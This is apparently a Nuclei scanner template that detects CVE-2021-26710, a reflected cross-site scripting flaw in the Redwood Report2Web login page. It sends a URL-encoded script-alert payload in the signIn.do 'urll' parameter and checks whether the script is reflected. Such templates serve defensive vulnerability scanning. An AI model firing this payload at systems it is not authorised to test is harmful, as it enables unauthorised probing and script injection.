id: CVE-2021-26710

info:
  name: Redwood Report2Web 4.3.4.5 & 4.5.3 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: Redwood Report2Web 4.3.4.5 and 4.5.3 contains a cross-site scripting vulnerability in the login panel which allows remote attackers to inject JavaScript via the signIn.do urll parameter.
  remediation: |
    Upgrade to the latest version of Redwood Report2Web or apply the vendor-provided patch to fix the XSS vulnerability.
  reference:
    - https://vict0ni.me/report2web-xss-frame-injection.html
    - https://vict0ni.me/redwood-report2web-xss-and-frame-injection/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26710
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-26710
    cwe-id: CWE-79
    epss-score: 0.00107
    epss-percentile: 0.42932
    cpe: cpe:2.3:a:redwood:report2web:4.3.4.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: redwood
    product: report2web
  tags: cve,cve2021,redwood,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/r2w/signIn.do?urll=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200